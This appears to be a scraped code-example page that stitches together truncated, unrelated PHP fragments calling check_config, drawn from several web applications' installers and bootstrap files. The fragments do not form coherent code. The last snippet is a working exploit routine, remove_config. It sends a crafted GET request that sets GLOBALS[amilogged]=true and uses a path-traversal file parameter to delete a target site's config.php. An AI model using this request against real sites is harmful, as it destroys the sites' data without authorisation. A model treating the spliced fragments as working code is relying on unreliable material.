PHP check_config函数代码示例

//.........这里部分代码省略.........
    }
    // Check for virtual folders
    $virtual_folders = array(sanitize_path($config['virtual_folder_image']), sanitize_path($config['virtual_folder_uploaded']));
    foreach ($virtual_folders as $folder) {
        if (file_exists(__CHV_ROOT_DIR__ . $folder)) {
            $install_errors[] = 'The directory <code>' . __CHV_RELATIVE_ROOT__ . $folder . '</code> must not exists';
        }
    }
    if (count($install_errors) > 0) {
        chevereto_die($install_errors, 'Virtual folders error', $virtual_folder_error);
    }
    // Check for upload.php
    if (!file_exists(__CHV_ROOT_DIR__ . 'upload.php')) {
        chevereto_die('Can\'t find <code>upload.php</code>', 'Missing upload.php', $file_error);
    }
    // Check for the root .htaccess file
    if (!file_exists(__CHV_ROOT_DIR__ . '.htaccess')) {
        chevereto_die('', '.htaccess error', $root_htaccess_error);
    }
    // Admin folder
    if (!check_value($config["admin_folder"])) {
        $config["admin_folder"] = "admin";
    }
    if (!file_exists(__CHV_PATH_ADMIN__)) {
        chevereto_die('', 'Admin folder doesn\'t exists', $admin_folder_error);
    }
    // Check for the other .htaccess files
    $htaccess_files = array(__CHV_PATH_IMAGES__, __CHV_PATH_INCLUDES__, __CHV_PATH_ADMIN_INCLUDES__);
    foreach ($htaccess_files as $dir) {
        if (!file_exists($dir . '.htaccess')) {
            switch ($dir) {
                case __CHV_PATH_IMAGES__:
                    $rules = 'static';
                    break;
                case __CHV_PATH_INCLUDES__:
                case __CHV_PATH_ADMIN_INCLUDES__:
                    $rules = 'deny';
                    break;
            }
            if (!htaccess($rules, $dir)) {
                $install_errors[] = 'Can\'t create <code>' . $dir . '.htaccess</code> file. Please upload the <code>.htaccess</code> file to the target dir';
            }
        }
    }
    if (count($install_errors) > 0) {
        chevereto_die($install_errors, '.htaccess error', $htaccess_error);
    }
    // Files check
    $include_files = array('chevereto.php', 'uploader.php', 'shorturl.php', 'definitions.php', 'template.functions.php');
    $classes_files = array('class.handler.php', 'class.db.php', 'class.upload.php', 'class.filelist.php', 'class.imageresize.php', 'class.imageconvert.php', 'class.minify.php', 'class.shorturl.php');
    $system_files = array('login.php', 'error.php', 'style.css', 'img/chevereto.png', 'img/logo.png', 'img/ico-warn.png', 'img/background.png', 'img/bkg-content.png');
    $system_files_minify = array('style.css');
    $system_files = array_merge_minified($system_files, $system_files_minify);
    $system_js_files = array('uploadify.swf', 'ZeroClipboard.swf', 'pref.php');
    $system_js_files_minify = array('jquery.js', 'chevereto.js', 'functions.js', 'jquery.uploadify-3.1_chevereto.js');
    $system_js_files = array_merge_minified($system_js_files, $system_js_files_minify);
    // Admin files
    $admin_classes_files = array('class.adminhandler.php', 'class.manage.php');
    $admin_system_files = array('header.php', 'filemanager.php');
    $admin_system_files_minify = array('style.css', 'js/admin.js');
    $admin_system_files = array_merge_minified($admin_system_files, $admin_system_files_minify);
    foreach ($include_files as $key => $value) {
        $include_files[$key] = __CHV_PATH_INCLUDES__ . $value;
    }
    foreach ($classes_files as $key => $value) {
        $classes_files[$key] = __CHV_PATH_CLASSES__ . $value;
    }
    foreach ($system_files as $key => $value) {
        $system_files[$key] = __CHV_PATH_SYSTEM__ . $value;
    }
    foreach ($system_js_files as $key => $value) {
        $system_js_files[$key] = __CHV_PATH_SYSTEM_JS__ . $value;
    }
    foreach ($admin_classes_files as $key => $value) {
        $admin_classes_files[$key] = __CHV_PATH_ADMIN_CLASSES__ . $value;
    }
    foreach ($admin_system_files as $key => $value) {
        $admin_system_files[$key] = __CHV_PATH_ADMIN_SYSTEM__ . $value;
    }
    /*** The complete file check array ***/
    $check_files = array('Includes' => $include_files, 'Classes' => $classes_files, 'System Files' => array_merge($system_files, $system_js_files), 'Admin .htaccess' => array(__CHV_PATH_ADMIN_INCLUDES__ . '.htaccess'), 'Admin Classes' => $admin_classes_files, 'Admin System' => $admin_system_files);
    foreach ($check_files as $key => $value) {
        check_files_folders($value, 'File');
    }
    if (count($install_errors) > 0) {
        chevereto_die($install_errors, 'Setup error', $file_error);
    }
    if (!check_config()) {
        chevereto_die($install_errors, 'Config error', $config_error);
    }
    if (!check_definitions()) {
        chevereto_die($install_errors, 'Please change definitions.php', $definitions_error);
    }
    if (!check_theme()) {
        chevereto_die($install_errors, 'Theme error', $theme_error);
    }
    if (!check_theme_data()) {
        chevereto_die($install_errors, 'Theme data error', $theme_data_error);
    }
}

}
if (!x($_SESSION, 'sysmsg_info')) {
    $_SESSION['sysmsg_info'] = array();
}
/*
 * check_config() is responsible for running update scripts. These automatically
 * update the DB schema whenever we push a new one out. It also checks to see if
 * any plugins have been added or removed and reacts accordingly.
 */
if ($a->install) {
    /* Allow an exception for the view module so that pcss will be interpreted during installation */
    if ($a->module != 'view') {
        $a->module = 'setup';
    }
} else {
    check_config($a);
}
nav_set_selected('nothing');
$arr = array('app_menu' => $a->get_apps());
call_hooks('app_menu', $arr);
$a->set_apps($arr['app_menu']);
/**
 *
 * We have already parsed the server path into $a->argc and $a->argv
 *
 * $a->argv[0] is our module name. We will load the file mod/{$a->argv[0]}.php
 * and use it for handling our URL request.
 * The module file contains a few functions that we call in various circumstances
 * and in the following order:
 *
 * "module"_init

		ob_start();
		require $file_name;
		if (ob_get_level()) ob_end_clean();
	}

# Configuration File check
if (! file_exists($app['config_file'])) {
	error(sprintf(_('You need to configure %s. Edit the file "%s" to do so. An example config file is provided in "%s.example".'),app_name(),$app['config_file'],$app['config_file']),'error',null,true);

} elseif (! is_readable($app['config_file'])) {
	error(sprintf('Fatal error: Cannot read your configuration file "%s", its permissions may be too strict.',$app['config_file']),'error',null,true);
}

# If our config file fails the sanity check, then stop now.
if (! $config = check_config($app['config_file'])) {
	$www['page'] = new page();
	$www['body'] = new block();
	$www['page']->block_add('body',$www['body']);
	$www['page']->display();
	exit;

} else {
	app_session_start();
	$_SESSION[APPCONFIG] = $config;
}

if ($uri = get_request('URI','GET'))
	header(sprintf('Location: cmd.php?%s',base64_decode($uri)));

if (! preg_match('/^([0-9]+\.?)+/',app_version())) {

date_default_timezone_set('UTC');
define('ABSPATH', __DIR__);
/* load core functions */
require_once ABSPATH . '/includes/functions.common.php';
if (!is_writable(ABSPATH . '/')) {
    exit(ABSPATH . ' is not writable.');
}
/* Load Configurations or start installation */
if (file_exists(ABSPATH . '/config.php')) {
    require_once ABSPATH . '/config.php';
} else {
    header("Location: install.php");
    exit;
}
// Check config.php if it is correct
$config_timestamp = 0;
$config_timestamp_now = filemtime(ABSPATH . '/config.php');
if (file_exists(ABSPATH . '/config.timestamp')) {
    $config_timestamp = file_get_contents(ABSPATH . '/config.timestamp');
}
if ($config_timestamp != $config_timestamp_now) {
    check_config();
    file_put_contents(ABSPATH . '/config.timestamp', $config_timestamp_now);
}
define('SUPPORT_TYPE', 'jpg|jpeg|jpe|jfif|jfi|jif|gif|png|svg');
header("X-Qchan-Info: Qchan is an image hosting freeware, is developed by Quadra Studio, and published under GPLv3.");
/* Load functions */
require_once ABSPATH . '/includes/functions.language.php';
require_once ABSPATH . '/includes/functions.theme.php';
require_once ABSPATH . '/includes/functions.upload.php';
$lang = load_lang(defined('MANAGE_RUN'));

    return;
}
if (array_key_exists("l", $config_command_line)) {
    read_config($config_command_line['l']);
    $config = array_merge($config, $config_command_line);
} else {
    $config = $config_command_line;
}
if (array_key_exists("s", $config_command_line)) {
    write_config($config['s']);
}
$downloadFiles = array_key_exists("f", $config);
global $verbose;
$verbose = array_key_exists("v", $config);
check_backup_folder();
if (check_config()) {
    do_backup($downloadFiles);
} else {
    echo $usage;
    return -1;
}
$total_time = (time() - $start) / 60;
echo "Duration: {$total_time} minutes.\n";
function check_backup_folder()
{
    global $config;
    $folder = $config['backupTo'];
    if (!is_dir($folder)) {
        show_error("ERROR: create a backup folder called '" . $folder . "'");
        exit;
    }

<img src="<?php 
echo base_url('assets/admin/icons');
?>
/calendar-icon.png" style="width:260px;height:18-px;" />
<p class="lead">Let's install BookIt with in 2 easy step :-)</p>
<ol>
	<li>Database setup</li>
	<li>Account setup</li>
</ol>
<?php 
$error = check_config();
if ($error != '') {
    echo $error;
} else {
    echo '<p><a class="btn" href="' . site_url('install/dbsetup') . '">Continue</a> to the next step.</p>';
}

    }
}

// upload of configuration
if (Request::option('com') == "do_upload_config") {
    $file_content = file_get_contents($_FILES['the_file']['tmp_name']);

    // revert the changes done by indentJson
    $file_content_wo_tabs = str_replace("\t", '', str_replace("\n", '', $file_content));

    $jsonconfig = json_decode($file_content_wo_tabs, true);

    // utf8-decode the values after json_decode has worked on it
    array_walk_recursive($jsonconfig, 'utf8Decode');

    if (!check_config($jsonconfig, Request::quoted('check_module'))) {
        $msg ="error§". _("Die Konfigurationsdatei hat den falschen Modultyp!"). "§";
    } else if (!store_config($range_id, $config_id, $jsonconfig)) {
        $msg ="error§". _("Die Konfigurationsdatei konnte nicht hochgeladen werden!"). "§";
    } else {
        $msg = "info§". _("Die Datei wurde erfolgreich übertragen!"). "§";
    }
}

//Output starts here

ob_start();

require_once 'lib/msg.inc.php'; //Funktionen für Nachrichtenmeldungen

echo "<table border=\"0\" class=\"blank\" align=\"center\" cellspacing=\"0\" cellpadding=\"0\" width=\"100%\">\n";

 public function run()
 {
     /*
      * Bootstrap the application, load configuration, load modules, load theme, etc.
      */
     require_once 'boot.php';
     sys_boot();
     \App::$language = get_best_language();
     load_translation_table(\App::$language, \App::$install);
     /**
      *
      * Important stuff we always need to do.
      *
      * The order of these may be important so use caution if you think they're all
      * intertwingled with no logical order and decide to sort it out. Some of the
      * dependencies have changed, but at least at one time in the recent past - the
      * order was critical to everything working properly
      *
      */
     if (\App::$session) {
         \App::$session->start();
     } else {
         session_start();
         register_shutdown_function('session_write_close');
     }
     /**
      * Language was set earlier, but we can over-ride it in the session.
      * We have to do it here because the session was just now opened.
      */
     if (array_key_exists('system_language', $_POST)) {
         if (strlen($_POST['system_language'])) {
             $_SESSION['language'] = $_POST['system_language'];
         } else {
             unset($_SESSION['language']);
         }
     }
     if (x($_SESSION, 'language') && $_SESSION['language'] !== $lang) {
         \App::$language = $_SESSION['language'];
         load_translation_table(\App::$language);
     }
     if (x($_GET, 'zid') && !\App::$install) {
         \App::$query_string = strip_zids(\App::$query_string);
         if (!local_channel()) {
             $_SESSION['my_address'] = $_GET['zid'];
             zid_init();
         }
     }
     if (x($_GET, 'zat') && !\App::$install) {
         \App::$query_string = strip_zats(\App::$query_string);
         if (!local_channel()) {
             zat_init();
         }
     }
     if (x($_SESSION, 'authenticated') || x($_POST, 'auth-params') || \App::$module === 'login') {
         require 'include/auth.php';
     }
     if (!x($_SESSION, 'sysmsg')) {
         $_SESSION['sysmsg'] = array();
     }
     if (!x($_SESSION, 'sysmsg_info')) {
         $_SESSION['sysmsg_info'] = array();
     }
     /*
      * check_config() is responsible for running update scripts. These automatically
      * update the DB schema whenever we push a new one out. It also checks to see if
      * any plugins have been added or removed and reacts accordingly.
      */
     if (\App::$install) {
         /* Allow an exception for the view module so that pcss will be interpreted during installation */
         if (\App::$module != 'view') {
             \App::$module = 'setup';
         }
     } else {
         check_config($a);
     }
     nav_set_selected('nothing');
     $Router = new Router($a);
     /* initialise content region */
     if (!x(\App::$page, 'content')) {
         \App::$page['content'] = '';
     }
     call_hooks('page_content_top', \App::$page['content']);
     $Router->Dispatch($a);
     // If you're just visiting, let javascript take you home
     if (x($_SESSION, 'visitor_home')) {
         $homebase = $_SESSION['visitor_home'];
     } elseif (local_channel()) {
         $homebase = z_root() . '/channel/' . \App::$channel['channel_address'];
     }
     if (isset($homebase)) {
         \App::$page['content'] .= '<script>var homebase = "' . $homebase . '";</script>';
     }
     // now that we've been through the module content, see if the page reported
     // a permission problem and if so, a 403 response would seem to be in order.
     if (is_array($_SESSION['sysmsg']) && stristr(implode("", $_SESSION['sysmsg']), t('Permission denied'))) {
         header($_SERVER['SERVER_PROTOCOL'] . ' 403 ' . t('Permission denied.'));
     }
     call_hooks('page_end', \App::$page['content']);
     construct_page($a);
     killme();
//.........这里部分代码省略.........

function get_server_setup()
{
    if (!check_config()) {
        return report_config();
    }
    echo '
		<h3>Step 1: Database</h3>
		<table class="display">
		<tr>
		<td>SQL Server Hostname:</td>
		<td><input type="text" name="my_hostname" value="localhost"></td>
		</tr>
		<tr>
		<td>SQL Database name:</td>
		<td><input type="text" name="my_database" value="calendar"></td>
		</tr>
		<tr>
		<td>SQL Table prefix:</td>
		<td><input type="text" name="my_prefix" value="phpc_"></td>
		</tr>
		<tr>
		<td>SQL Username:</td>
		<td><input type="text" name="my_username" value="calendar"></td>
		</tr>
		<tr>
		<td>SQL Password:</td>
		<td><input type="password" name="my_passwd"></td>
		</tr>
		<tr>
		<td colspan="2">
		  <input type="checkbox" name="create_db" value="yes"/>
		  Create the database (don\'t check this if it already exists)
		</td>
		</tr>
		<tr>
		<td colspan="2">
		  <input type="checkbox" name="drop_tables" value="yes">
		  Drop tables before creating them
		</td>
		</tr>
		<tr><td colspan="2">
		<span style="font-weight:bold;">Optional: user creation on database</span>
		</td></tr>
		<tr><td colspan="2">
		If the credentials supplied above are new, you have to be the database administrator.
		</td></tr>
		<tr><td colspan="2">
		 <input type="checkbox" name="create_user" value="yes">
			Check this if you want to do it and provide admin user and password.
		</td></tr>
		<tr>
		<td>SQL Admin name:</td>
		<td><input type="text" name="my_adminname"></td>
		</tr>
		<tr>
		<td>SQL Admin Password:</td>
		<td><input type="password" name="my_adminpasswd"></td>
		</tr>
		<tr>
		<td colspan="2">
		  <input name="action" type="submit" value="Install">
		</td>
		</tr>
		</table>';
}

<?php

define('DEBUG_MODE', true);
require_once 'lib/lib.php';
error_reporting(E_ALL | E_STRICT);
set_error_handler("logErrorHandler", E_ALL | E_STRICT);
$config_check_result = check_config();
$private_key = Config::getInstance()->getVar('private_key');
set_time_limit(0);
ignore_user_abort(true);
if ($config_check_result != '') {
    writelog('Config error');
}
$server = new BFL_RemoteAccess_Server($private_key);
$server->bindFunction('getState', 'action_getState');
$server->bindFunction('judge', 'action_judge');
$server->bindFunction('stopJudge', 'action_stopJudge');
$server->bindFunction('getTestdataVersion', 'action_getTestdataVersion');
$server->bindFunction('updateTestdata', 'action_updateTestdata');
if (!$server->listen()) {
    include 'module/console/console.php';
}
function action_getState()
{
    global $config_check_result;
    if ($config_check_result != '') {
        return 'config error: ' . $config_check_result;
    }
    return 'ready';
}
function action_judge($task)

/**
 * The only function which should be called by a user
 *
 * @see common.php
 * @see APP_SESSION_ID
 * @return boolean Returns true if the session was started the first time
 */
function app_session_start()
{
    $sysmsg = null;
    # If we have a sysmsg before our session has started, then preserve it.
    if (isset($_SESSION['sysmsg'])) {
        $sysmsg = $_SESSION['sysmsg'];
    }
    /* If session.auto_start is on in the server's PHP configuration (php.ini), then
     * we will have problems loading our schema cache since the session will have started
     * prior to loading the SchemaItem (and descedants) class. Destroy the auto-started
     * session to prevent this problem.
     */
    if (ini_get('session.auto_start') && !array_key_exists(app_session_id_init, $_SESSION)) {
        @session_destroy();
    }
    # Do we already have a session?
    if (@session_id()) {
        return;
    }
    @session_name(APP_SESSION_ID);
    @session_start();
    # Do we have a valid session?
    $is_initialized = is_array($_SESSION) && array_key_exists(app_session_id_init, $_SESSION);
    if (!$is_initialized) {
        if (app_session_id_paranoid) {
            ini_set('session.use_trans_sid', 0);
            @session_destroy();
            @session_id(app_session_get_id());
            @session_start();
            ini_set('session.use_trans_sid', 1);
        }
        $_SESSION[app_session_id_init]['name'] = app_name();
        $_SESSION[app_session_id_init]['version'] = app_version();
        $_SESSION[app_session_id_init]['config'] = filemtime(CONFDIR . 'config.php');
    }
    @header('Cache-control: private');
    // IE 6 Fix
    if (app_session_id_paranoid && !app_session_verify_id()) {
        error('Session inconsistent or session timeout', 'error', 'index.php');
    }
    # Check we have the correct version of the SESSION cache
    if (isset($_SESSION['cache']) || isset($_SESSION[app_session_id_init])) {
        if (!is_array($_SESSION[app_session_id_init])) {
            $_SESSION[app_session_id_init] = array();
        }
        if (!isset($_SESSION[app_session_id_init]['version']) || !isset($_SESSION[app_session_id_init]['config']) || !isset($_SESSION[app_session_id_init]['name']) || $_SESSION[app_session_id_init]['name'] !== app_name() || $_SESSION[app_session_id_init]['version'] !== app_version() || $_SESSION[app_session_id_init]['config'] != filemtime(CONFDIR . 'config.php')) {
            $_SESSION[app_session_id_init]['name'] = app_name();
            $_SESSION[app_session_id_init]['version'] = app_version();
            $_SESSION[app_session_id_init]['config'] = filemtime(CONFDIR . 'config.php');
            unset($_SESSION['cache']);
            unset($_SESSION[APPCONFIG]);
            # Our configuration information has changed, so we'll redirect to index.php to get it reloaded again.
            system_message(array('title' => _('Configuration cache stale.'), 'body' => _('Your configuration has been automatically refreshed.'), 'type' => 'info', 'special' => true));
            $config_file = CONFDIR . 'config.php';
            $config = check_config($config_file);
            if (!$config) {
                debug_dump_backtrace('config is empty?', 1);
            }
        } else {
            # Sanity check, specially when upgrading from a previous release.
            if (isset($_SESSION['cache'])) {
                foreach (array_keys($_SESSION['cache']) as $id) {
                    if (isset($_SESSION['cache'][$id]['tree']['null']) && !is_object($_SESSION['cache'][$id]['tree']['null'])) {
                        unset($_SESSION['cache'][$id]);
                    }
                }
            }
        }
    }
    # If we came via index.php, then set our $config.
    if (!isset($_SESSION[APPCONFIG]) && isset($config)) {
        $_SESSION[APPCONFIG] = $config;
    }
    # Restore our sysmsg's if there were any.
    if ($sysmsg) {
        if (!isset($_SESSION['sysmsg']) || !is_array($_SESSION['sysmsg'])) {
            $_SESSION['sysmsg'] = array();
        }
        $_SESSION['sysmsg'] = array_merge($_SESSION['sysmsg'], $sysmsg);
    }
}

    printf('<title>phpLDAPadmin - %s</title>', pla_version());
    echo '<link type="text/css" rel="stylesheet" href="css/style.css" />';
    echo '</head>';
    echo '<body>';
    echo '<h3 class="title">Configure phpLDAPadmin</h3>';
    echo '<br /><br />';
    echo '<center>';
    printf(_('You need to configure phpLDAPadmin. Edit the file "%s" to do so. An example config file is provided in "%s.example".'), $config_file, $config_file);
    echo '</center>';
    echo '</body>';
    echo '</html>';
    die;
} elseif (!is_readable($config_file)) {
    pla_error(sprintf('Fatal error: Cannot read your configuration file "%s", its permissions are too strict.', $config_file));
}
if (!check_config()) {
    exit;
}
echo '<?xml version="1.0" encoding="utf-8"?>' . "\n";
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML Basic 1.0//EN"' . "\n";
echo '  "http://www.w3.org/TR/xhtml-basic/xhtml-basic10.dtd">' . "\n";
echo "\n";
echo '<html xmlns="http://www.w3.org/1999/xhtml" lang="no-NO">';
if ($pagetitle = $config->GetValue('appearance', 'page_title')) {
    printf('<head><title>phpLDAPadmin (%s) - %s</title></head>', pla_version(), $pagetitle);
} else {
    printf('<head><title>phpLDAPadmin - %s</title></head>', pla_version());
}
printf('<frameset cols="%s,*">', $config->GetValue('appearance', 'tree_width'));
echo '<frame src="tree.php" name="left_frame" id="left_frame" />';
echo '<frame src="welcome.php" name="right_frame" id="right_frame" />';

<h3 class="title">Configure phpLDAPadmin</h1>
<br />
<br />
<center>
You need to configure phpLDAPadmin. Edit the file 'config.php' to do so.<br />
<br />
An example config file is provided in 'config.php.example'

</center>
<?php 
    /*
    </body>
    </html>
    
    <?php */
} elseif (check_config()) {
    require 'config.php';
    /*
    echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n";
    
    ?>
    
    <!DOCTYPE html
      PUBLIC "-//W3C//DTD XHTML Basic 1.0//EN"
        "http://www.w3.org/TR/xhtml-basic/xhtml-basic10.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" lang="no-NO">
    <head><title>phpLDAPadmin - <?php echo pla_version(); ?></title></head>
    
    <frameset cols="<?php echo $tree_width; ?>,*">
    	<frame src="tree.php" name="left_frame" id="left_frame" />
    	<frame src="welcome.php" name="right_frame" id="right_frame" />

function remove_config()
{
    global $host, $path;
    $in_lex = "/{$path}/core/admin/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php";
    $config = "GET {$in_lex} HTTP/1.1\r\n";
    $config .= "User-Agent: Lynx (textmode)\r\n";
    $config .= "Host: {$host}\r\n";
    $config .= "Connection: close\r\n\r\n";
    $lol = send_request($config);
    if (check_config() != FALSE) {
        die("register_globals=off, exploit failed!\n");
    } else {
        return true;
    }
}